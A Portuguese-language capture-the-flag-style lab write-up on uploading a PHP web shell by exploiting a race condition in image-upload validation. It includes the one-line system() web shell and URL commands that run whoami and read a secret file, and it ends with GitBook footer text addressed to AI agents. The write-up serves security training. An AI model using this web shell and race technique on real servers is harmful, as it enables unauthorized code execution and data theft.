> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/file-upload/web-shell-by-race-condition.md).

# Web Shell por Condição de Corrida

### Envio de Web Shell por meio de condição de corrida

**Objetivo do laboratório**

Este laboratório apresenta um recurso de upload de imagem com validação aparentemente robusta. / No entanto, é possível contornar essa validação usando uma **condição de corrida** durante o processamento do arquivo.

O objetivo é enviar uma web shell em PHP e, em seguida, usá-la para ler o arquivo sensível:/ `/home/carlos/secret`.

**Contexto**

* A autenticação é possível com: `wiener:peter`
* Apenas **JPG** e **PNG** arquivos são permitidos
* A resposta do servidor leva cerca de **1 a 2 segundos**, sugerindo processamento assíncrono explorável

**Tentativa inicial**

Tente enviar um arquivo PHP clássico:

```php
?php
system($_GET['cmd']);
?>
```

Resultado:

* Recusa do servidor
* Mensagem indicando que apenas arquivos JPG e PNG são aceitos

{% hint style="danger" %}
Desculpe, apenas arquivos JPG e PNG são permitidos Desculpe, houve um erro ao enviar seu arquivo.
{% endhint %}

**Observação importante**

Um **intervalo de tempo perceptível** existe entre:

1. Quando o arquivo é gravado no disco
2. Quando a validação é concluída e o arquivo pode ser excluído

Esse intervalo de tempo abre espaço para uma condição de corrida.

<figure><img src="/files/c7328b606f0aa00054fb700a838043bcbe8121f1" alt=""><figcaption></figcaption></figure>

**Funcionamento da condição de corrida**

Inicie um ataque com **Intruder** (ou uma ferramenta equivalente)

* Entrega repetitiva e rápida da solicitação de download
* Payload nulo ou repetitivo, execução em loop

<figure><img src="/files/5703a52f1ffb9b2d2a00e09d6cd7d530036289a4" alt=""><figcaption></figcaption></figure>

Enquanto o servidor processa os uploads:

* Atualize continuamente a URL do arquivo suposto

```bash
/files/avatars/cmd.php?cmd=whoami
```

Em algum momento, o arquivo fica acessível **antes** a validação invalida

* O código PHP é então interpretado pelo servidor

<figure><img src="/files/4c4c6065a89badf032f0f73e0c93317996e1ccb2" alt=""><figcaption></figcaption></figure>

**Exploração de Web Shell**

Depois de executado, você pode ler o arquivo secreto:

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="/files/1dc5283fee1d2a20ee3c530a30e9b1354254278a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/file-upload/web-shell-by-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
